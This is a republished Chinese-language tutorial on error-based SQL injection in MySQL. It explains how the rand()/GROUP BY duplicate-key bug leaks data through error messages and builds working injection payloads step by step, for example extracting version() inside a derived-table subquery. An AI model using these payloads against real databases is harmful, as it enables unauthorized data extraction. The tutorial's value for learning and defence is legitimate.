Home  >  Article  >  Database  >  MYSQL高级爆错注入原理_MySQL

MYSQL高级爆错注入原理_MySQL

WBOY
WBOYOriginal
2016-06-01 13:14:02767browse

国内只有一大堆高级爆错的利用代码 没人分析原因 这个是去官网查资料后分析给出的。

这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652

grouping on certain parts of the result from rand, causes a duplicate key error.重现过程
use mysql;create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);select left(rand(),3),a from r1 group by 1;select left(rand(),3),a, count(*) from r1 group by 1;select round(rand(1),1),a, count(*) from r1 group by 1;

于是便可以这样拿来爆错注入了。

select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x;

尝试拿来实战 

select * from user where user=’root’ and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误 选择的列应该为一个。那么。我们换一下

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));
1248 (42000): Every derived table must have its own alias

提示多表查询要有别名 那好办

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者

select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了

91ri.org:个人认为这篇:《双查询注入》中关于mysql爆错注入介绍的更为详细,推荐一下。

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn